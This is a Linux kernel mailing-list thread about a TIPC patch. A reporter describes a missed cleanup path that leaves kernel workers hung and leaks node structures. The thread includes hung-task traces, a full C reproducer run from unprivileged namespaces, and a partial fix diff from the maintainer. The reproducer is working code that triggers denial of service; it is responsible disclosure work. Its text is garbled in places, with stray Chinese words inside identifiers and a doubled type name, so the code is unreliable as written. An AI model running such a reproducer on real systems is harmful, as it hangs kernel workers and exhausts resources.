> >But I found one path the patch misses: tipc_node_cleanup(). It removes a stale
> >node with tipc_node_delete_from_list() directly, without the wake/cancel you
> >added in tipc_node_delete(). If a deferred worker is still parked when the stale
> >timer fires, the node is removed from the list while the worker is sleeping in
> >wait_var_event(). Since the node is off the list, the wake in tipc_node_delete()
> >can no longer reach it. The worker stays in D state and keeps its node
> >reference, so the node struct leaks as well.
> >
> >This state is reachable from userspace without any kernel change:
> >filling local_publ_count to TIPC_MAX_PUBL with node-scope binds makes
> >tipc_net_finalize()'s publish fail, and the work_rescheduled retry then keeps
> >finalized at 0, so the link-up defers the worker for as long as the table stays full.
> >(The retry also也重试 busy-loops, printing "tipc: Bind failed, max limit 65535
> >reached" each round.) Bringing the link down makes the peer node go stale
> >NODE_CLEANUP_AFTER (300s) later, with the worker still parked.
> >The hung task watchdog flags it:
> >
> >```
> >     [  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
> >     [  370.441580] Workqueue: events tipc_node_dist_bulk
> >     [  370.442803] Call Trace:
> >     [  370.443151]  __schedule+0x18bf/0x4680
> >     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220
> >     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
> >     [  370.446218]  process_one_work+0x845/0x1a60 ```
> >
> >With a test-only marker printk in tipc_node_cleanup() I can see the stale timer
> >remove both nodes at ~368s and ~375s, i.e. while the workers above are still
> >parked. Nothing wakes them on that path; in this run they only exit because
> >killing the reproducer closes the bind sockets, so the next retry's publish
> >succeeds. With a persistent failure source (e.g. memory
> >pressure) the worker would stay parked across the netns teardown as well.
> >
> >
> >```
> >[  247.560544] INFO: task kworker/0:0:9 blocked for more than 122 seconds.
> >     [  247.568089] INFO: task kworker/0:2:67 blocked for more than 122
> >seconds.
> >
> >     [  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
> >     [  370.441580] Workqueue: events tipc_node_dist_bulk
> >     [  370.442803] Call Trace:
> >     [  370.443151]  __schedule+0x18bf/0x4680
> >     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220     ←
> >wait_var_event 睡眠点
> >     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
> >     [  370.446218]  process_one_work+0x845/0x1a60
> >
> >```
> >
> >
> >The Configs and reproducer :
> >```
> >CONFIG_TIPC=y,
> >CONFIG_TIPC_MEDIA_UDP=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y,
> >CONFIG_KASAN=y (crash on the unpatched kernel),
> >CONFIG_DETECT_HUNG_TASK=y ```
> >
> >```c
> >#define _GNU_SOURCE
> >#include <stdio.h>
> >#include <stdlib.h>
> >#include <string.h>
> >#include <unistd.h>
> >#include <errno.h>
> >#include <sched.h>
> >#include <fcntl.h>
> >#include <signal.h>
> >#include <sys/types.h>
> >#include <sys/wait.h>
> >#include <sys/socket.h>
> >#include <arpa/inet.h>
> >#include <net/if.h>
> >#include <linux/netlink.h>
> >#include <linux/rtnetlink.h>
> >#include <linux/genetlink.h>
> >#include <linux/if_link.h>
> >#include <linux/veth.h>
> >#include <linux/tipc.h>
> >
> >#ifndef AF_TIPC
> >#define AF_TIPC 30
> >#endif
> >#ifndef SOCK_RDM
> >#define SOCK_RDM 4
> >#endif
> >
> >#ifndef VETH_INFO_PEER
> >#define VETH_INFO_PEER 1
> >#endif
> >
> >#define TIPC_GENL_V2_NAME "TIPCv2"
> >
> >enum {
> >        TIPC_NL_UNSPEC,
> >        TIPC_NL_LEGACY,
> >        TIPC_NL_BEARER_DISABLE,
> >        TIPC_NL_BEARER_ENABLE,
> >        TIPC_NL_BEARER_GET,
> >        TIPC_NL_BEARER_SET,
> >        TIPC_NL_SOCK_GET,
> >        TIPC_NL_PUBL_GET,
> >        TIPC_NL_LINK_GET,
> >        TIPC_NL_LINK_SET,
> >        TIPC_NL_LINK_RESET_STATS,
> >        TIPC_NL_MEDIA_GET,
> >        TIPC_NL_MEDIA_SET,
> >        TIPC_NL_NODE_GET,
> >        TIPC_NL_NET_GET,
> >        TIPC_NL_NET_SET,
> >};
> >
> >enum {
> >        TIPC_NLA_UNSPEC,
> >        TIPC_NLA_BEARER,
> >        TIPC_NLA_SOCK,
> >        TIPC_NLA_PUBL,
> >        TIPC_NLA_LINK,
> >        TIPC_NLA_MEDIA,
> >        TIPC_NLA_NODE,
> >        TIPC_NLA_NET,
> >};
> >
> >enum {
> >        TIPC_NLA_BEARER_UNSPEC,
> >        TIPC_NLA_BEARER_NAME,
> >        TIPC_NLA_BEARER_PROP,
> >        TIPC_NLA_BEARER_DOMAIN,
> >        TIPC_NLA_BEARER_UDP_OPTS,
> >};
> >
> >enum {
> >        TIPC_NLA_UDP_UNSPEC,
> >        TIPC_NLA_UDP_LOCAL,
> >        TIPC_NLA_UDP_REMOTE,
> >        TIPC_NLA_UDP_MULTI_REMOTEIP,
> >};
> >
> >enum {
> >        TIPC_NLA_NET_UNSPEC,
> >        TIPC_NLA_NET_ID,
> >        TIPC_NLA_NET_ADDR,
> >        TIPC_NLA_NET_NODEID,
> >        TIPC_NLA_NET_NODEID_W1,
> >};
> >
> >#define TIPC_UDP_PORT 6118
> >#define NLA_ALIGNTO 4
> >#define MY_NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO -
> >1))
> >
> >static int tipc_family;
> >
> >static int nl_open(int protocol)
> >{
> >        int fd = socket(AF_NETLINK, SOCK_RAW, protocol);
> >        if (fd < 0) { perror("socket(NETLINK)"); exit(1); }
> >        struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> >        if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
> >                perror("bind(NETLINK)"); exit(1);
> >        }
> >        return fd;
> >}
> >
> >static void *nla_put(char *buf, int *off, int type, const void *data, int len) {
> >        struct nlattr *a = (struct nlattr *)(buf + *off);
> >        a->nla_type = type;
> >        a->nla_len = NLA_HDRLEN + len;
> >        if (len)
> >                memcpy((char *)a + NLA_HDRLEN, data, len);
> >        *off += MY_NLA_ALIGN(a->nla_len);
> >        return a;
> >}
> >
> >static struct nlattr *nla_nest_start(char *buf, int *off, int type) {
> >        struct nlattr *a = (struct nlattr *)(buf + *off);
> >        a->nla_type = type | NLA_F_NESTED;
> >        *off += NLA_HDRLEN;
> >        return a;
> >}
> >
> >static void nla_nest_end(char *buf, int *off, struct nlattr *start) {
> >        start->nla_len = (buf + *off) - (char *)start; }
> >
> >static int genl_resolve_family(int fd, const char *name) {
> >        char buf[1024];
> >        memset(buf, 0, sizeof(buf));
> >        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
> >        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
> >*)NLMSG_DATA(nlh);
> >        int off = NLMSG_HDRLEN + GENL_HDRLEN;
> >
> >        nlh->nlmsg_type = GENL_ID_CTRL;
> >        nlh->nlmsg_flags = NLM_F_REQUEST;
> >        nlh->nlmsg_seq = 1;
> >        gh->cmd = CTRL_CMD_GETFAMILY;
> >        gh->version = 1;
> >        nla_put(buf, &off, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
> >        nlh->nlmsg_len = off;
> >
> >        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send genl resolve");
> >exit(1); }
> >
> >        char rbuf[4096];
> >        int n = recv(fd, rbuf, sizeof(rbuf), 0);
> >        if (n < 0) { perror("recv genl resolve"); exit(1); }
> >
> >        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
> >        if (rh->nlmsg_type == NLMSG_ERROR)
> >                return -1;
> >        struct nlattr *a = (struct nlattr *)((char *)NLMSG_DATA(rh) +
> >GENL_HDRLEN);
> >        int alen阿伦 = rh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
> >        while (alen > 0) {
> >                if (a->nla_type == CTRL_ATTR_FAMILY_ID)
> >                        return *(uint16_t *)((char *)a + NLA_HDRLEN);
> >                int step = MY_NLA_ALIGN(a->nla_len);
> >                alen -= step;
> >                a = (struct nlattr *)((char *)a + step);
> >        }
> >        return -1;
> >}
> >
> >static int nl_recv_ack(int fd, const char *what) {
> >        char rbuf[8192];
> >        int n = recv(fd, rbuf, sizeof(rbuf), 0);
> >        if (n < 0) { fprintf(stderr, "recv ack (%s): %s\n", what, strerror(errno));
> >return -1; }
> >        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
> >        if (rh->nlmsg_type == NLMSG_ERROR) {
> >                struct nlmsgerr *e = NLMSG_DATA(rh);
> >                if (e->error != 0)
> >                        fprintf(stderr, "[%s] netlink error: %d (%s)\n", what, e->error,
> >strerror(-e->error));
> >                return e->error;
> >        }
> >        return 0;
> >}
> >
> >static void *rta_put(char *buf, int *off, int type, const void *data, int len) {
> >        struct rtattr *a = (struct rtattr *)(buf + *off);
> >        a->rta_type = type;
> >        a->rta_len = RTA_LENGTH(len);
> >        if (len) memcpy(RTA_DATA(a), data, len);
> >        *off += RTA_ALIGN(a->rta_len);
> >        return a;
> >}
> >
> >static struct rtattr *rta_nest(char *buf, int *off, int type) {
> >        struct rtattr *a = (struct rtattr *)(buf + *off);
> >        a->rta_type = type | NLA_F_NESTED;
> >        *off += RTA_LENGTH(0);
> >        return a;
> >}
> >
> >static void rta_nest_end(char *buf, int *off, struct rtattr *start) {
> >        start->rta_len = (buf + *off) - (char *)start; }
> >
> >static void create_veth(int fd, const char *n0, const char *n1, int peer_nsfd) {
> >        char buf[2048];
> >        memset(buf, 0, sizeof(buf));
> >        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
> >        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
> >        int off = NLMSG_HDRLEN + sizeof(*ifi);
> >
> >        nlh->nlmsg_type = RTM_NEWLINK;
> >        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
> >NLM_F_EXCL;
> >        nlh->nlmsg_seq = 10;
> >        ifi->ifi_family = AF_UNSPEC;
> >
> >        rta_put(buf, &off, IFLA_IFNAME, n0, strlen(n0) + 1);
> >        struct rtattr *linfo = rta_nest(buf, &off, IFLA_LINKINFO);
> >        rta_put(buf, &off, IFLA_INFO_KIND, "veth", 5);
> >        struct rtattr *idata = rta_nest(buf, &off, IFLA_INFO_DATA);
> >        struct rtattr *peer = rta_nest(buf, &off, VETH_INFO_PEER);
> >        struct ifinfomsg *pifi = (struct ifinfomsg *)(buf + off);
> >        memset(pifi, 0, sizeof(*pifi));
> >        off += sizeof(*pifi);
> >        rta_put(buf, &off, IFLA_IFNAME, n1, strlen(n1) + 1);
> >        rta_put(buf, &off, IFLA_NET_NS_FD, &peer_nsfd, sizeof(peer_nsfd));
> >        rta_nest_end(buf, &off, peer);
> >        rta_nest_end(buf, &off, idata);
> >        rta_nest_end(buf, &off, linfo);
> >        nlh->nlmsg_len = off;
> >
> >        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send veth"); exit(1); }
> >        int e = nl_recv_ack(fd, "create_veth");
> >        if (e && e != -EEXIST) { fprintf(stderr, "veth create failed:
> >%d\n", e); exit(1); }
> >}
> >
> >static void set_if_up(int fd, const char *name) {
> >        char buf[512];
> >        memset(buf, 0, sizeof(buf));
> >        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
> >        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
> >        int off = NLMSG_HDRLEN + sizeof(*ifi);
> >        nlh->nlmsg_type = RTM_NEWLINK;
> >        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> >        nlh->nlmsg_seq = 20;
> >        ifi->ifi_family = AF_UNSPEC;
> >        ifi->ifi_index = if_nametoindex(name);
> >        ifi->ifi_flags = IFF_UP;
> >        ifi->ifi_change = IFF_UP;
> >        nlh->nlmsg_len = off;
> >        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send up"); exit(1); }
> >        nl_recv_ack(fd, "set_if_up");
> >}
> >
> >static void add_ipv4(int fd, const char *name, const char *ip, int prefix) {
> >        char buf[512];
> >        memset(buf, 0, sizeof(buf));
> >        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
> >        struct ifaddrmsg *ifa = NLMSG_DATA(nlh);
> >        int off = NLMSG_HDRLEN + sizeof(*ifa);
> >        nlh->nlmsg_type = RTM_NEWADDR;
> >        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
> >NLM_F_REPLACE;
> >        nlh->nlmsg_seq = 30;
> >        ifa->ifa_family = AF_INET;
> >        ifa->ifa_prefixlen = prefix;
> >        ifa->ifa_scope = 0;
> >        ifa->ifa_index = if_nametoindex(name);
> >
> >        struct in_addr a;
> >        inet_pton(AF_INET, ip, &a);
> >        rta_put(buf, &off, IFA_LOCAL, &a, 4);
> >        rta_put(buf, &off, IFA_ADDRESS, &a, 4);
> >        nlh->nlmsg_len = off;
> >        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send addr"); exit(1); }
> >        nl_recv_ack(fd, "add_ipv4");
> >}
> >
> >static void tipc_set_node_id(int fd, uint64_t w0, uint64_t w1) {
> >        char buf[1024];
> >        memset(buf, 0, sizeof(buf));
> >        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
> >        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
> >*)NLMSG_DATA(nlh);
> >        int off = NLMSG_HDRLEN + GENL_HDRLEN;
> >        nlh->nlmsg_type = tipc_family;
> >        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> >        nlh->nlmsg_seq = 40;
> >        gh->cmd = TIPC_NL_NET_SET;
> >        gh->version = 1;
> >
> >        struct nlattr *net = nla_nest_start(buf, &off, TIPC_NLA_NET);
> >        nla_put(buf, &off, TIPC_NLA_NET_NODEID, &w0, sizeof(w0));
> >        nla_put(buf, &off, TIPC_NLA_NET_NODEID_W1, &w1, sizeof(w1));
> >        nla_nest_end(buf, &off, net);
> >        nlh->nlmsg_len = off;
> >
> >        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send net_set"); exit(1); }
> >        int e = nl_recv_ack(fd, "tipc_set_node_id");
> >        if (e) fprintf(stderr, "net_set(nodeid) returned %d\n", e); }
> >
> >static void put_sockaddr_storage_v4(char *buf, int *off, int type, const char *ip,
> >int port) {
> >        struct sockaddr_storage ss;
> >        memset(&ss, 0, sizeof(ss));
> >        struct sockaddr_in *sin = (struct sockaddr_in *)&ss;
> >        sin->sin_family = AF_INET;
> >        sin->sin_port = htons(port);
> >        inet_pton(AF_INET, ip, &sin->sin_addr);
> >        nla_put(buf, off, type, &ss, sizeof(ss)); }
> >
> >static void tipc_udp_bearer(int fd, int cmd, const char *bname,
> >                            const char *local_ip, const char *remote_ip) {
> >        char buf[2048];
> >        memset(buf, 0, sizeof(buf));
> >        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
> >        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
> >*)NLMSG_DATA(nlh);
> >        int off = NLMSG_HDRLEN + GENL_HDRLEN;
> >        nlh->nlmsg_type = tipc_family;
> >        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> >        nlh->nlmsg_seq = 50;
> >        gh->cmd = cmd;
> >        gh->version = 1;
> >
> >        struct nlattr *bearer = nla_nest_start(buf, &off, TIPC_NLA_BEARER);
> >        nla_put(buf, &off, TIPC_NLA_BEARER_NAME, bname名称,
> >strlen(bname名称) + 1);
> >        if (cmd == TIPC_NL_BEARER_ENABLE) {
> >                struct nlattr *udp = nla_nest_start(buf, &off,
> >TIPC_NLA_BEARER_UDP_OPTS);
> >                put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_LOCAL, local_ip,
> >TIPC_UDP_PORT);
> >                put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_REMOTE,
> >remote_ip, TIPC_UDP_PORT);
> >                nla_nest_end(buf, &off, udp);
> >        }
> >        nla_nest_end(buf, &off, bearer);
> >        nlh->nlmsg_len = off;
> >
> >        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send bearer"); exit(1); }
> >        int e = nl_recv_ack(fd, "tipc_udp_bearer");
> >        if (e) fprintf(stderr, "bearer cmd %d (%s) returned %d\n", cmd,
> >bname名称, e); }
> >
> >static int write_file(const char *path, const char *val) {
> >        int fd = open(path, O_WRONLY);
> >        if (fd < 0) return -1;
> >        int r = write(fd, val, strlen(val));
> >        close(fd);
> >        return r;
> >}
> >
> >static int bindfill_node_scope(int target) {
> >        int fd = socket(AF_TIPC, SOCK_RDM, 0);
> >        if (fd < 0) { perror("socket(AF_TIPC)"); exit(1); }
> >        int ok = 0, fail = 0;
> >        for (int i = 0; i < target + 1000; i++) {
> >                struct sockaddr_tipc sa;
> >                memset(&sa, 0, sizeof(sa));
> >                sa.family = AF_TIPC;
> >                sa.addrtype = TIPC_SERVICE_ADDR;
> >                sa.scope = TIPC_NODE_SCOPE;
> >                sa.addr.nameseq.type = 100000 + i;
> >                sa.addr.nameseq.lower = 100000 + i;
> >                sa.addr.nameseq.upper = 100000 + i;
> >                if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
> >                        ok++;
> >                        fail = 0;
> >                } else if (++fail > 100) {
> >                        break;
> >                }
> >        }
> >        fprintf(stderr, "[*] bound %d node-scope publications (cap reached)\n",
> >ok);
> >        if (ok < 65000) { fprintf(stderr, "bindfill shortfall\n"); exit(1); }
> >        return fd;
> >}
> >
> >static void child_main(int sync_rd, int sync_wr) {
> >        char c;
> >        write(sync_wr, "R", 1);
> >        if (read(sync_rd, &c, 1) != 1) _exit(1);
> >
> >        int rfd = nl_open(NETLINK_ROUTE);
> >        set_if_up(rfd, "lo");
> >        set_if_up(rfd, "veth1");
> >        add_ipv4(rfd, "veth1", "10.0.0.2", 24);
> >
> >        int gfd = nl_open(NETLINK_GENERIC);
> >        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
> >        if (tipc_family < 0) _exit(1);
> >
> >        int bfd = bindfill_node_scope(65535);
> >        tipc_set_node_id(gfd, 0x2222222222222222ULL,
> >0x2222222222222222ULL);
> >        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b1", "10.0.0.2",
> >"10.0.0.1");
> >        write(sync_wr, "C", 1);
> >
> >        sleep(35);
> >        tipc_udp_bearer(gfd, TIPC_NL_BEARER_DISABLE, "udp:b1", NULL, NULL);
> >        fprintf(stderr, "[child] b1 disabled, keeping it down\n");
> >        (void)bfd;
> >        for (;;) pause();
> >}
> >
> >int main(void)
> >{
> >        setvbuf(stdout, NULL, _IONBF, 0);
> >        setvbuf(stderr, NULL, _IONBF, 0);
> >
> >        uid_t uid = getuid();
> >        gid_t gid = getgid();
> >
> >        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) {
> >                write_file("/proc/self/setgroups", "deny");
> >                char m[64];
> >                snprintf(m, sizeof(m), "0 %d 1", uid);
> >                write_file("/proc/self/uid_map", m);
> >                snprintf(m, sizeof(m), "0 %d 1", gid);
> >                write_file("/proc/self/gid_map", m);
> >        } else if (unshare(CLONE_NEWNET) < 0) {
> >                perror("unshare");
> >                return 1;
> >        }
> >
> >        int p2c[2], c2p[2];
> >        if (pipe(p2c) < 0 || pipe(c2p) < 0) { perror("pipe"); return 1; }
> >
> >        pid_t pid = fork();
> >        if (pid == 0) {
> >                close(p2c[1]);
> >                close(c2p[0]);
> >                if (unshare(CLONE_NEWNET) < 0) _exit(1);
> >                child_main(p2c[0], c2p[1]);
> >                _exit(0);
> >        }
> >        close(p2c[0]);
> >        close(c2p[1]);
> >
> >        char c;
> >        if (read(c2p[0], &c, 1) != 1) { fprintf(stderr, "child not ready\n"); return 1; }
> >
> >        char nspath[64];
> >        snprintf(nspath, sizeof(nspath), "/proc/%d/ns/net", pid);
> >        int nsfd = open(nspath, O_RDONLY);
> >        if (nsfd < 0) { perror("open ns"); return 1; }
> >
> >        int rfd = nl_open(NETLINK_ROUTE);
> >        create_veth(rfd, "veth0", "veth1", nsfd);
> >        close(nsfd);
> >        set_if_up(rfd, "lo");
> >        set_if_up(rfd, "veth0");
> >        add_ipv4(rfd, "veth0", "10.0.0.1", 24);
> >        write(p2c[1], "G", 1);
> >
> >        int gfd = nl_open(NETLINK_GENERIC);
> >        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
> >        if (tipc_family < 0) return 1;
> >        int bfd = bindfill_node_scope(65535);
> >        tipc_set_node_id(gfd, 0x1111111111111111ULL,
> >0x1111111111111111ULL);
> >
> >        if (read(c2p[0], &c, 1) != 1)
> >                fprintf(stderr, "child config sync missed\n");
> >        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b0", "10.0.0.1",
> >"10.0.0.2");
> >
> >        fprintf(stderr, "[*] nodes configured; waiting for stale cleanup\n");
> >        (void)bfd;
> >        sleep(400);
> >        kill(pid, SIGKILL);
> >        waitpid(pid, NULL, 0);
> >        fprintf(stderr, "[*] done\n");
> >        return 0;
> >}
> >
> >```
> >
> >
> >Do you think tipc_node_cleanup() should go through the same wake logic as
> >tipc_node_delete()? Happy to test the next version.
>
> Thanks for your test report and reproducer. It will look into the reproducer to fix outstanding issues.
>
> >
> >Thanks,
> >Weiming

Hi Tung,

Just following up on the issue. Let me know if you need any help from
my side with testing or validation.

Thanks,
Weiming

^ permalink raw reply	[flat|nested] 14+ messages in thread

* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-27 10:30         ` Weiming Shi
@ 2026-07-27 10:48           ` Tung Quang Nguyen
  2026-07-28 12:52           ` Tung Quang Nguyen
  1 sibling, 0 replies; 14+ messages in thread
From: Tung Quang Nguyen @ 2026-07-27 10:48 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

>Hi Tung,
>
>Just following up on the issue. Let me know if you need any help from my side
>with testing or validation.
Thanks. I am working on the new patch version to address this issue.
In fact, your reproducer exposes some existing TIPC issues that need to be addressed also.
I will try to send the new version tomorrow so that you can help verify.

^ permalink raw reply	[flat|nested] 14+ messages in thread

* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-27 10:30         ` Weiming Shi
  2026-07-27 10:48           ` Tung Quang Nguyen
@ 2026-07-28 12:52           ` Tung Quang Nguyen
  2026-07-28 17:57             ` Weiming Shi
  1 sibling, 1 reply; 14+ messages in thread
From: Tung Quang Nguyen @ 2026-07-28 12:52 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

>Hi Tung,
>
>Just following up on the issue. Let me know if you need any help from my side
>with testing or validation.
Could you please verify below patch to see if it fixes all observed issues ?

Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
---
 net/tipc/core.c       |   3 ++
 net/tipc/core.h       |   4 ++
 net/tipc/name_distr.c |  91 ++++++++++++++++++++++++++++++----
 net/tipc/name_distr.h |   3 +-
 net/tipc/name_table.c |  24 +++++++--
 net/tipc/net.c        |   5 ++
 net/tipc/node.c       | 113 ++++++++++++++++++++++++++++++++++++++++--
 net/tipc/node.h       |   1 +
 8 files changed, 226 insertions(+), 18 deletions(-)

diff --git a/net/tipc/core.c b/net/tipc/core.c
index 315975c3be81..1e1fe78cc4ee 100644
--- a/net/tipc/core.c
+++ b/net/tipc/core.c
@@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net)
 	tn->trial_addr = 0;
 	tn->addr_trial_end = 0;
 	tn->capabilities = TIPC_NODE_CAPABILITIES;
+	atomic_set(&tn->node_wq_count, 0);
+	atomic_set(&tn->finalized, 0);
 	INIT_WORK(&tn->work, tipc_net_finalize_work);
 	memset(tn->node_id, 0, sizeof(tn->node_id));
 	memset(tn->node_id_string, 0, sizeof(tn->node_id_string));
@@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net)
 #ifdef CONFIG_TIPC_CRYPTO
 	tipc_crypto_stop(&tipc_net(net)->crypto_tx);
 #endif
+	wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count));
 	wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0);
 }
 
diff --git a/net/tipc/core.h b/net/tipc/core.h
index 9ce5f9ff6cc0..be335ce83389 100644
--- a/net/tipc/core.h
+++ b/net/tipc/core.h
@@ -145,6 +145,10 @@ struct tipc_net {
 	struct work_struct work;
 	/* The numbers of work queues in schedule */
 	atomic_t wq_count;
+	/* The numbers of works of created nodes in schedule */
+	atomic_t node_wq_count;
+	/* flag to wake up scheduled works of created nodes */
+	atomic_t finalized;
 };
 
 static inline struct tipc_net *tipc_net(struct net *net)
diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
index ba4f4906e13b..e701824bbb2a 100644
--- a/net/tipc/name_distr.c
+++ b/net/tipc/name_distr.c
@@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p)
  * @pls: linked list of publication items to be packed into buffer chain
  * @seqno: sequence number for this message
  */
-static void named_distribute(struct net *net, struct sk_buff_head *list,
-			     u32 dnode, struct list_head *pls, u16 seqno)
+static int named_distribute(struct net *net, struct sk_buff_head *list,
+			    u32 dnode, struct list_head *pls, u16 seqno)
 {
 	struct publication *publ;
 	struct sk_buff *skb = NULL;
@@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
 			skb = named_prepare_buf(net, PUBLICATION, msg_rem,
 						dnode);
 			if (!skb) {
+				__skb_queue_purge(list);
 				pr_warn("Bulk publication failure\n");
-				return;
+				return 1;
 			}
 			hdr = buf_msg(skb);
 			msg_set_bc_ack_invalid(hdr, true);
@@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
 	hdr = buf_msg(skb_peek_tail(list));
 	msg_set_last_bulk(hdr);
 	msg_set_named_seqno(hdr, seqno);
+
+	return 0;
 }
 
 /**
- * tipc_named_node_up - tell specified node about all publications by this node
+ * tipc_named_distribute - distribute all publications to specified node
  * @net: the associated network namespace
  * @dnode: destination node
- * @capabilities: peer node's capabilities
  */
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
+static int tipc_named_distribute(struct net *net, u32 dnode)
 {
 	struct name_table *nt = tipc_name_table(net);
 	struct tipc_net *tn = tipc_net(net);
@@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
 
 	__skb_queue_head_init(&head);
 	spin_lock_bh(&tn->nametbl_lock);
-	if (!(capabilities & TIPC_NAMED_BCAST))
-		nt->rc_dests++;
 	seqno = nt->snd_nxt;
 	spin_unlock_bh(&tn->nametbl_lock);
 
 	read_lock_bh(&nt->cluster_scope_lock);
-	named_distribute(net, &head, dnode, &nt->cluster_scope, seqno);
+	if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return -ENOBUFS;
+	}
 	tipc_node_xmit(net, &head, dnode, 0);
 	read_unlock_bh(&nt->cluster_scope_lock);
+
+	return 0;
+}
+
+/**
+ * tipc_named_node_up - tell specified node about all publications by this node
+ * @net: the associated network namespace
+ * @dnode: destination node
+ * @capabilities: peer node's capabilities
+ */
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
+{
+	struct name_table *nt = tipc_name_table(net);
+	struct tipc_net *tn = tipc_net(net);
+
+	spin_lock_bh(&tn->nametbl_lock);
+	if (!(capabilities & TIPC_NAMED_BCAST))
+		nt->rc_dests++;
+	spin_unlock_bh(&tn->nametbl_lock);
+
+	read_lock_bh(&nt->cluster_scope_lock);
+	/* 1. tipc_net_finalize_work() is not scheduled because of namespace
+	 *    teardown.
+	 * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed
+	 *    to insert node self address publication to nt->cluster_scope
+	 *    due to memory allocation failure.
+	 * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not
+	 *    executed yet.
+	 */
+	if (unlikely(list_empty(&nt->cluster_scope))) {
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return 1;
+	}
+	read_unlock_bh(&nt->cluster_scope_lock);
+
+	return tipc_named_distribute(net, dnode);
+}
+
+/**
+ * tipc_named_dist_cluster_scope - distribute all publications to specified node
+ * @net: the associated network namespace
+ * @dnode: destination node
+ */
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
+{
+	struct name_table *nt = tipc_name_table(net);
+	bool reinsert = false;
+
+	read_lock_bh(&nt->cluster_scope_lock);
+	if (unlikely(list_empty(&nt->cluster_scope)))
+		reinsert = true;
+	read_unlock_bh(&nt->cluster_scope_lock);
+	/* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert
+	 * node self address publication to nt->cluster_scope due to memory
+	 * allocation failure. So, reinsert this publication.
+	 */
+	if (reinsert) {
+		struct tipc_net *tn = tipc_net(net);
+		struct tipc_socket_addr sk;
+		struct tipc_uaddr ua;
+
+		sk.ref = 0;
+		sk.node = tn->node_addr;
+		tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE,
+			   TIPC_NODE_STATE, tn->node_addr, tn->node_addr);
+		if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr))
+			return -ENOBUFS;
+	}
+
+	return tipc_named_distribute(net, dnode);
 }
 
 /**
diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h
